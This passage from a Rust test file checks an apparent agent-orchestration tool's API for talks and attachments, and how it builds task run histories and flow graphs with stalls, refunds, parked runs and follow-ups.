16693 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16694 let f = Fixture::start().await;
16695 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16696
16697 let res = f
16700 .post_bytes(
16701 &format!("/api/talks/{id}/attachments"),
16702 &[("Content-Type", "image/png")],
16703 b"<html>not a picture</html>",
16704 )
16705 .await;
16706 assert!((400..500).contains(&res.status), "{}", res.body);
16707 }
16708
16709 #[tokio::test]
16710 async fn an_unknown_attachment_id_is_a_404() {
16711 let f = Fixture::start().await;
16712 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16713
16714 let res = f
16715 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16716 .await;
16717 assert_eq!(res.status, 404, "{}", res.body);
16718 }
16719
16720 #[tokio::test]
16721 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16722 let f = Fixture::start().await;
16723 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16724
16725 let uploaded = f
16726 .post_bytes(
16727 &format!("/api/talks/{id}/attachments"),
16728 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16729 PNG_BYTES,
16730 )
16731 .await;
16732 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16733 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16734
16735 let res = f
16736 .post(
16737 &format!("/api/talks/{id}/say"),
16738 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16739 )
16740 .await;
16741 assert_eq!(res.status, 202, "{}", res.body);
16742 let queued = res.json();
16743 let turns = queued["turns"].as_array().expect("turns array");
16744 assert_eq!(
16745 turns.len(),
16746 1,
16747 "an empty body with an attachment is still a turn: {queued}"
16748 );
16749 assert_eq!(turns[0]["who"], "operator");
16750 assert_eq!(turns[0]["body"], "");
16751 let atts = turns[0]["attachments"]
16752 .as_array()
16753 .expect("attachments array");
16754 assert_eq!(atts.len(), 1);
16755 assert_eq!(atts[0]["id"], att_id);
16756 assert_eq!(atts[0]["mime"], "image/png");
16757
16758 let on_disk = f.talks().get(&id).expect("get");
16761 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16762 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16763 }
16764
16765 #[tokio::test]
16766 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16767 let f = Fixture::start().await;
16768 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16769
16770 let res = f
16771 .post(
16772 &format!("/api/talks/{id}/say"),
16773 Some(&format!(
16774 r#"{{"text":"hi","attachments":["{}"]}}"#,
16775 "a".repeat(32)
16776 )),
16777 )
16778 .await;
16779 assert!((400..500).contains(&res.status), "{}", res.body);
16780 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16781
16782 let on_disk = f.talks().get(&id).expect("get");
16783 assert!(
16784 on_disk.turns.is_empty(),
16785 "a rejected attachment id must not partially record the turn: {:?}",
16786 on_disk.turns
16787 );
16788 }
16789
16790 #[tokio::test]
16791 async fn talk_close_makes_the_talk_refuse_further_turns() {
16792 let f = Fixture::start().await;
16793 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16794
16795 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16796 assert_eq!(closed.status, 200, "{}", closed.body);
16797 assert_eq!(closed.json()["status"], "closed");
16798
16799 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16801 assert_eq!(closed_again.status, 200);
16802 assert_eq!(closed_again.json()["status"], "closed");
16803
16804 let said = f
16805 .post(
16806 &format!("/api/talks/{id}/say"),
16807 Some(r#"{"text":"too late"}"#),
16808 )
16809 .await;
16810 assert_eq!(said.status, 409, "{}", said.body);
16811 }
16812
16813 #[tokio::test]
16814 async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16815 let f = Fixture::start().await;
16816 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16817 let store = f.talks();
16818 let mut queued = store.get(&id).expect("talk");
16819 for automatic in [false, true] {
16820 if automatic {
16821 talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16822 .expect("queue automatic input");
16823 } else {
16824 talk::queue(&mut queued, &store, "queued send", Vec::new())
16825 .expect("queue operator input");
16826 }
16827 let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16828 let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16829 assert_eq!(refused.status, 409, "{}", refused.body);
16830 assert!(refused.body.contains("pending input"), "{}", refused.body);
16831 assert_eq!(
16832 serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16833 before,
16834 "a close refusal must preserve the entire record"
16835 );
16836 talk::clear_pending(&mut queued, &store).expect("clear saved input");
16837 }
16838 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16839 assert_eq!(closed.status, 200, "{}", closed.body);
16840 assert_eq!(closed.json()["status"], "closed");
16841 }
16842
16843 #[tokio::test]
16844 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16845 let (_tmp, _repo, f) = talk_fixture().await;
16846 let id = f.post("/api/talks", None).await.json()["id"]
16847 .as_str()
16848 .expect("id")
16849 .to_owned();
16850 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16851 assert_eq!(closed.status, 200, "{}", closed.body);
16852
16853 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16854 assert_eq!(reopened.status, 200, "{}", reopened.body);
16855 assert_eq!(reopened.json()["status"], "open");
16856
16857 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16859 assert_eq!(reopened_again.status, 200);
16860 assert_eq!(reopened_again.json()["status"], "open");
16861
16862 let said = f
16863 .post(
16864 &format!("/api/talks/{id}/say"),
16865 Some(r#"{"text":"still there?"}"#),
16866 )
16867 .await;
16868 assert_eq!(
16869 said.status, 202,
16870 "a reopened talk accepts turns again: {}",
16871 said.body
16872 );
16873 }
16874
16875 #[tokio::test]
16876 async fn talk_reopen_on_an_unknown_id_is_404() {
16877 let f = Fixture::start().await;
16878 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16879 assert_eq!(res.status, 404, "{}", res.body);
16880 }
16881
16882 #[tokio::test]
16883 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16884 let f = Fixture::start().await;
16885 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16886
16887 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16888 assert_eq!(deleted.status, 204, "{}", deleted.body);
16889
16890 let after = f.get(&format!("/api/talks/{id}")).await;
16891 assert_eq!(after.status, 404, "{}", after.body);
16892
16893 let listed = f.get("/api/talks").await.json();
16894 assert!(
16895 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16896 "a deleted talk must not linger in the list: {listed}"
16897 );
16898 }
16899
16900 #[tokio::test]
16901 async fn talk_delete_on_an_unknown_id_is_404() {
16902 let f = Fixture::start().await;
16903 let res = f.delete("/api/talks/nonexistent-id").await;
16904 assert_eq!(res.status, 404, "{}", res.body);
16905 }
16906
16907 #[tokio::test]
16911 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16912 let f = Fixture::start().await;
16913 let (a, b, gone) = (
16914 "20260902-140501-aaaa",
16915 "20260902-140502-bbbb",
16916 "20260902-140503-cccc",
16917 );
16918 write_run(&f.runs(), a, RunStatus::Stalled);
16919 let mut review = RunState::new(
16920 PathBuf::from("/repo/magi"),
16921 "main".to_owned(),
16922 "0123456789abcdef".to_owned(),
16923 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16924 .to_owned(),
16925 Config::default(),
16926 );
16927 review.id = b.to_owned();
16928 review.status = RunStatus::Merged;
16929 write_state(&f.runs(), &review);
16930
16931 let mut task = Task::new(
16932 "retry".to_owned(),
16933 "Do the thing".to_owned(),
16934 PathBuf::from("/repo/magi"),
16935 Source::Human,
16936 );
16937 task.start(a.to_owned());
16938 task.stall("quota");
16939 task.start(a.to_owned());
16940 task.start(b.to_owned());
16941 task.start(gone.to_owned());
16942 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16944 f.queue().put(&mut task).expect("file the task");
16945
16946 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16947 assert_eq!(res.status, 200, "{}", res.body);
16948 let v = res.json();
16949 let h = v["history"].as_array().expect("history");
16950 assert_eq!(h.len(), 4, "{v}");
16951 assert_eq!(h[0]["kind"], "competition");
16952 assert_eq!(h[0]["status"], "stalled");
16953 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16954 assert_eq!(h[1]["kind"], "resume", "{v}");
16955 assert!(
16956 h[0]["outcome"]
16957 .as_str()
16958 .unwrap()
16959 .contains("unknown. Pass #2"),
16960 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16961 );
16962 assert!(
16963 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16964 "{v}"
16965 );
16966 assert!(
16967 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16968 "an unrecorded cause must not be narrated as an operator park: {v}"
16969 );
16970 assert_eq!(h[2]["kind"], "review");
16971 assert!(
16972 h[2]["description"]
16973 .as_str()
16974 .unwrap()
16975 .contains("magi/aaaa/A")
16976 );
16977 assert_eq!(h[2]["status"], "merged");
16978 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16979 assert_eq!(v["runs_unreadable"], 1);
16980 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16981 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16982 assert_eq!(nodes[4]["note"], "unreadable");
16983 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16984 assert_eq!(v["instruction"], "Do the thing");
16985 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16986
16987 let run = f.get(&format!("/api/runs/{a}")).await.json();
16989 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16990
16991 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16992 }
16993
16994 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16995 let mut s = RunState::new(
16996 PathBuf::from("/repo/magi"),
16997 "main".to_owned(),
16998 "0123456789abcdef".to_owned(),
16999 "Do it".to_owned(),
17000 Config::default(),
17001 );
17002 s.status = status;
17003 edit(&mut s);
17004 s
17005 }
17006
17007 fn flow_task(runs: &[&str]) -> Task {
17008 let mut t = Task::new(
17009 "t".to_owned(),
17010 "Do it".to_owned(),
17011 PathBuf::from("/repo/magi"),
17012 Source::Human,
17013 );
17014 for r in runs {
17015 t.start((*r).to_owned());
17016 }
17017 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17019 t
17020 }
17021
17022 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17023 let h = task_history(task, |id| {
17024 states
17025 .iter()
17026 .find(|(i, _)| *i == id)
17027 .and_then(|(_, s)| s.clone())
17028 });
17029 task_flow(task, &h, 5, None)
17030 }
17031
17032 #[test]
17033 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17034 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17035 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17036 let first = "2026-10-10T02:00:00Z".parse().unwrap();
17037 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17038 let held = "2026-10-10T04:00:00Z".parse().unwrap();
17039 let run = flow_run(RunStatus::Implementing, |s| {
17040 s.created_at = created;
17041 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17042 s.passes[0].started_at = first;
17043 s.passes[1].started_at = resumed;
17044 });
17045 let mut task = flow_task(&[RUN_X, RUN_X]);
17046 task.created_at = queued;
17047 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17048 task.status = TaskStatus::Held;
17049 task.held_at = Some(held);
17050 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17051 assert_eq!(
17052 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17053 vec![Some(queued), Some(first), Some(resumed), Some(held)]
17054 );
17055 assert!(flow.nodes.iter().all(|n| n.time_expected));
17056 let json = serde_json::to_value(&flow).unwrap();
17057 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17058 assert_eq!(json["nodes"][2]["time_expected"], true);
17059 }
17060
17061 #[test]
17062 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17063 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17064 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17065 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17066 task.held_at = Some(created);
17068 task.blocked_at = Some(created);
17069 for status in [
17070 TaskStatus::Queued,
17071 TaskStatus::Running,
17072 TaskStatus::Blocked,
17073 TaskStatus::Done,
17074 TaskStatus::Failed,
17075 TaskStatus::Parked,
17076 TaskStatus::Held,
17077 ] {
17078 task.status = status;
17079 if status == TaskStatus::Held {
17080 task.held_at = None;
17081 }
17082 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17083 assert_eq!(flow.nodes[1].started_at, Some(created));
17084 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17085 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17086 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17087 let json = serde_json::to_value(&flow).unwrap();
17088 assert!(json["nodes"][3]["started_at"].is_null());
17089 assert_eq!(json["nodes"][3]["time_expected"], true);
17090 }
17091 }
17092
17093 #[test]
17094 fn flow_context_links_do_not_expect_start_times() {
17095 let mut task = flow_task(&[]);
17096 task.source = Source::Agent {
17097 run: "chat-id".to_owned(),
17098 node: "chat".to_owned(),
17099 };
17100 let origin = followup_origin(&fu(None), |_| None, |_| None);
17101 let flow = task_flow(&task, &[], 5, Some(&origin));
17102 for node in &flow.nodes[..2] {
17103 assert!(!node.time_expected);
17104 assert_eq!(node.started_at, None);
17105 }
17106 assert!(flow.nodes[2].time_expected);
17107 }
17108
17109 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17110 crate::queue::FollowUp {
17111 run: "20260901-000000-aaaa".to_owned(),
17112 origin_task: origin_task.map(str::to_owned),
17113 pr: "https://example.com/o/r/pull/1".to_owned(),
17114 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17115 .map(str::to_owned)
17116 .to_vec(),
17117 generation: 1,
17118 }
17119 }
17120
17121 fn parent_task() -> Task {
17122 let mut p = flow_task(&[]);
17123 p.title = "Parent title".to_owned();
17124 p.status = TaskStatus::Done;
17125 p
17126 }
17127
17128 #[test]
17129 fn flow_opens_with_the_parent_task_of_a_followup() {
17130 let p = parent_task();
17131 let pid = p.id.clone();
17132 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17133 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17134 let n = &f.nodes[0];
17135 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17136 assert_eq!(
17137 n.label,
17138 format!("Follow-up of {}", crate::queue::short(&pid))
17139 );
17140 assert_eq!(n.detail.as_deref(), Some("Parent title"));
17141 assert_eq!(n.status, Some("done"));
17142 assert_eq!(n.status_of, "task");
17143 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17144 assert_eq!(f.nodes[1].key, "start");
17145 assert_eq!(f.edges[0].from, "origin");
17146 assert_eq!(
17147 f.edges[0].label,
17148 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17149 );
17150 }
17151
17152 #[test]
17153 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17154 let o = followup_origin(
17155 &fu(Some("gone")),
17156 |_| None,
17157 |_| {
17158 Some(RunState::new(
17159 std::path::PathBuf::from("."),
17160 "main".to_owned(),
17161 "0".to_owned(),
17162 "t".to_owned(),
17163 crate::config::Config::default(),
17164 ))
17165 },
17166 );
17167 assert!(o.parent.is_none());
17168 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17169 let n = &f.nodes[0];
17170 assert_eq!(n.status_of, "run");
17171 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17172 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17173 }
17174
17175 #[test]
17176 fn flow_followup_with_nothing_readable_has_no_link() {
17177 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17178 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17179 let n = &f.nodes[0];
17180 assert_eq!(n.href, None);
17181 assert_eq!(n.note, Some("unreadable"));
17182 assert!(!n.readable);
17183 }
17184
17185 #[test]
17186 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17187 let o = followup_origin(&fu(None), |_| None, |_| None);
17188 let mut t = flow_task(&[]);
17189 t.origin_chat = Some("c1".to_owned());
17190 let f = task_flow(&t, &[], 5, Some(&o));
17191 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17192 t.source = Source::Agent {
17193 run: "c1".to_owned(),
17194 node: crate::queue::CHAT_NODE.to_owned(),
17195 };
17196 let f = task_flow(&t, &[], 5, Some(&o));
17197 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17198 assert_eq!(
17199 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17200 ("chat", "origin")
17201 );
17202 }
17203
17204 #[test]
17205 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17206 let mut p = parent_task();
17207 p.id = "a b/c".to_owned();
17208 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17209 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17210 }
17211
17212 #[test]
17213 fn flow_opens_with_the_chat_that_queued_the_task() {
17214 let mut t = flow_task(&[]);
17215 t.source = Source::Agent {
17216 run: "a b/c".to_owned(),
17217 node: crate::queue::CHAT_NODE.to_owned(),
17218 };
17219 let f = flow_for(&t, &[]);
17220 assert_eq!(f.nodes[0].key, "chat");
17221 assert_eq!(f.nodes[0].kind, "chat");
17222 assert_eq!(
17223 f.nodes[0].label,
17224 format!("Chat {}", crate::queue::short("a b/c"))
17225 );
17226 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17227 assert_eq!(f.nodes[1].key, "start");
17228 assert_eq!(
17229 f.edges[0],
17230 FlowEdge {
17231 from: "chat".to_owned(),
17232 to: "start".to_owned(),
17233 label: "queued from chat".to_owned(),
17234 attempt: AttemptCost::None,
17235 }
17236 );
17237 }
17238
17239 #[test]
17240 fn flow_has_no_chat_box_for_other_sources() {
17241 for source in [
17242 Source::Human,
17243 Source::Issue {
17244 number: 3,
17245 repo: "o/r".to_owned(),
17246 },
17247 Source::Agent {
17248 run: "20260904-014455-ab12".to_owned(),
17249 node: "implement".to_owned(),
17250 },
17251 ] {
17252 let mut t = flow_task(&[]);
17253 t.source = source;
17254 let f = flow_for(&t, &[]);
17255 assert_eq!(f.nodes[0].key, "start");
17256 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17257 assert!(f.edges.iter().all(|e| e.from != "chat"));
17258 }
17259 }
17260
17261 const FA: &str = "20260902-140501-aaaa";
17262 const FB: &str = "20260902-140502-bbbb";
17263
17264 #[test]
17265 fn flow_follows_blocked_retry_merged_to_done() {
17266 let mut t = flow_task(&[FA, FB]);
17267 t.status = TaskStatus::Done;
17268 let f = flow_for(
17269 &t,
17270 &[
17271 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17272 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17273 ],
17274 );
17275 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17276 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17277 assert_eq!(f.edges.len(), 3);
17278 assert_eq!(f.edges[0].label, "claimed");
17279 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17280 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17281 assert_eq!(f.edges[2].label, "merged \u{2192} done");
17282 assert_eq!(
17283 f.nodes[2].href.as_deref(),
17284 Some("#/runs/20260902-140502-bbbb")
17285 );
17286 assert!(f.nodes[2].decided);
17287 }
17288
17289 #[test]
17290 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17291 let quota = || {
17292 flow_run(RunStatus::Stalled, |s| {
17293 s.quota.push(crate::run::QuotaLoss {
17294 cause: crate::agent::QuotaCause::UsageLimit,
17295 agent: String::new(),
17296 seat: "judge-1".to_owned(),
17297 node: "judge".to_owned(),
17298 at: Timestamp::now(),
17299 reset: None,
17300 })
17301 })
17302 };
17303 let mut t = flow_task(&[FA, FA]);
17304 t.status = TaskStatus::Queued;
17305 let f = flow_for(&t, &[(FA, Some(quota()))]);
17306 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17307 assert_eq!(f.nodes[1].note, Some("interrupted"));
17308 assert_eq!(
17309 f.nodes[1].status, None,
17310 "no outcome copied onto an earlier pass"
17311 );
17312 assert_eq!(
17313 f.edges[1].attempt,
17314 AttemptCost::Unknown,
17315 "a resume does not prove the earlier pass was refunded"
17316 );
17317 assert!(f.edges[1].label.contains("resume the same run"));
17318 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17319 assert_eq!(
17320 f.edges[2].label,
17321 "stalled after a resume, refund unknown \u{2192} queued"
17322 );
17323 assert!(!f.nodes[2].decided, "a stall is not a decision");
17324 assert_eq!(f.nodes[2].note, Some("no verdict"));
17325 }
17326
17327 #[test]
17328 fn flow_single_pass_quota_stall_is_refunded() {
17329 let t = flow_task(&[FA]);
17330 let f = flow_for(
17331 &t,
17332 &[(
17333 FA,
17334 Some(flow_run(RunStatus::Stalled, |s| {
17335 s.quota.push(crate::run::QuotaLoss {
17336 cause: crate::agent::QuotaCause::UsageLimit,
17337 agent: String::new(),
17338 seat: "judge-1".to_owned(),
17339 node: "judge".to_owned(),
17340 at: Timestamp::now(),
17341 reset: None,
17342 })
17343 })),
17344 )],
17345 );
17346 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17347 }
17348
17349 #[test]
17350 fn flow_parked_refunds_and_stall_without_quota_spends() {
17351 let mut t = flow_task(&[FA]);
17352 t.status = TaskStatus::Queued;
17353 let f = flow_for(
17354 &t,
17355 &[(
17356 FA,
17357 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17358 )],
17359 );
17360 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17361 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17362 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17363 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17364 assert!(!f.nodes[1].decided);
17365 }
17366
17367 #[test]
17368 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17369 let t = flow_task(&[FA, FB]);
17370 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17371 assert_eq!(f.nodes[1].note, Some("unreadable"));
17372 assert!(!f.nodes[1].readable);
17373 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17374 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17375 }
17376
17377 #[test]
17378 fn flow_names_the_branch_of_a_review_only_run() {
17379 let t = flow_task(&[FA]);
17380 let f = flow_for(
17381 &t,
17382 &[(
17383 FA,
17384 Some(flow_run(RunStatus::Merged, |s| {
17385 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17386 })),
17387 )],
17388 );
17389 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17390 assert_eq!(
17391 f.nodes[1].detail.as_deref(),
17392 Some("review-only run of branch magi/x/A")
17393 );
17394 }
17395
17396 #[test]
17397 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17398 let mut t = flow_task(&[FA]);
17399 t.status = TaskStatus::Held;
17400 let pr = crate::run::PrRecord {
17401 url: "https://example.test/pr/1".to_owned(),
17402 number: 1,
17403 state: "open".to_owned(),
17404 checks: "green".to_owned(),
17405 round: 0,
17406 rounds: 3,
17407 red_at_merge: Vec::new(),
17408 };
17409 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17410 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17411 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17412 t.status = TaskStatus::Done;
17413 let f = flow_for(&t, &[(FA, Some(blocked))]);
17414 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17415 }
17416
17417 #[test]
17418 fn flow_with_no_runs_goes_from_queued_to_queued() {
17419 let t = flow_task(&[]);
17420 let f = flow_for(&t, &[]);
17421 assert_eq!(f.nodes.len(), 2);
17422 assert_eq!(f.edges.len(), 1);
17423 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17424 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17425 }
17426
17427 #[test]
17430 fn a_parked_non_terminal_run_is_explained_as_parked() {
17431 let mut s = RunState::new(
17432 PathBuf::from("/repo/magi"),
17433 "main".to_owned(),
17434 "0123456789abcdef".to_owned(),
17435 "Do it".to_owned(),
17436 Config::default(),
17437 );
17438 s.status = RunStatus::Implementing;
17439 s.parked = true;
17440 let task = Task::new(
17441 "t".to_owned(),
17442 "Do it".to_owned(),
17443 PathBuf::from("/repo/magi"),
17444 Source::Human,
17445 );
17446 let v = task_run_view(
17447 "20260902-140501-aaaa",
17448 Some(&s),
17449 RunSlot {
17450 n: 1,
17451 resumed: false,
17452 resumed_later: None,
17453 prior: None,
17454 last: true,
17455 ..RunSlot::default()
17456 },
17457 &task,
17458 );
17459 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17460 }
17461
17462 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17463 let mut s = flow_run(RunStatus::Implementing, edit);
17464 s.parked = false;
17465 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17466 task_run_view(
17467 "20260902-140501-aaaa",
17468 Some(&s),
17469 RunSlot {
17470 n: 1,
17471 resumed: false,
17472 resumed_later: Some(2),
17473 prior: None,
17474 last: false,
17475 ..RunSlot::default()
17476 },
17477 &task,
17478 )
17479 }
17480
17481 #[test]
17482 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17483 let v = earlier_pass_view(|_| {});
17484 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17485 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17486 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17487 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17488 assert_eq!(v.exit, RunExit::Interrupted);
17489 assert_eq!(v.attempt, AttemptCost::Unknown);
17490 }
17491
17492 #[test]
17493 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17494 let v = earlier_pass_view(|s| {
17495 s.quota.push(crate::run::QuotaLoss {
17496 cause: crate::agent::QuotaCause::UsageLimit,
17497 agent: String::new(),
17498 seat: "judge-1".to_owned(),
17499 node: "judge".to_owned(),
17500 at: Timestamp::now(),
17501 reset: None,
17502 });
17503 });
17504 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17505 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17506 assert_eq!(v.attempt, AttemptCost::Unknown);
17507 }
17508
17509 #[test]
17510 fn the_current_pass_states_its_recorded_cause_and_cost() {
17511 let slot = || RunSlot {
17512 n: 1,
17513 resumed: false,
17514 resumed_later: None,
17515 prior: None,
17516 last: true,
17517 ..RunSlot::default()
17518 };
17519 let task = flow_task(&["20260902-140501-aaaa"]);
17520 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17521 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17522 assert_eq!(
17523 (v.exit, v.attempt),
17524 (RunExit::Parked, AttemptCost::Refunded)
17525 );
17526 let spent = flow_run(RunStatus::Blocked, |_| {});
17527 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17528 assert_eq!(v.attempt, AttemptCost::Spent);
17529 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17530 }
17531
17532 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17533 crate::run::RunPass {
17534 index,
17535 started_at: Timestamp::now(),
17536 resumed: index > 0,
17537 ended_at: end.as_ref().map(|_| Timestamp::now()),
17538 end,
17539 task_entry: true,
17540 }
17541 }
17542
17543 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17544 Some(crate::run::PassEnd::Parked { cause })
17545 }
17546
17547 fn upgrade_cause() -> crate::run::ParkCause {
17548 crate::run::ParkCause::Upgrade {
17549 from: "0.121.0".to_owned(),
17550 to: Some("0.121.1".to_owned()),
17551 }
17552 }
17553
17554 fn settled_pass(
17555 run: &str,
17556 index: usize,
17557 cost: crate::queue::PassCost,
17558 ) -> crate::queue::TaskPass {
17559 crate::queue::TaskPass {
17560 run: run.to_owned(),
17561 pass_index: index,
17562 started_at: None,
17563 cost,
17564 attempts_after: 1,
17565 settled_at: Timestamp::now(),
17566 parked: None,
17567 }
17568 }
17569
17570 const RUN_X: &str = "20261011-223708-4334";
17571
17572 #[test]
17573 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17574 use crate::queue::PassCost;
17575 let run = flow_run(RunStatus::Implementing, |s| {
17576 s.passes = vec![
17577 recorded_pass(0, parked(upgrade_cause())),
17578 recorded_pass(1, None),
17579 ];
17580 });
17581 let mut task = flow_task(&[RUN_X, RUN_X]);
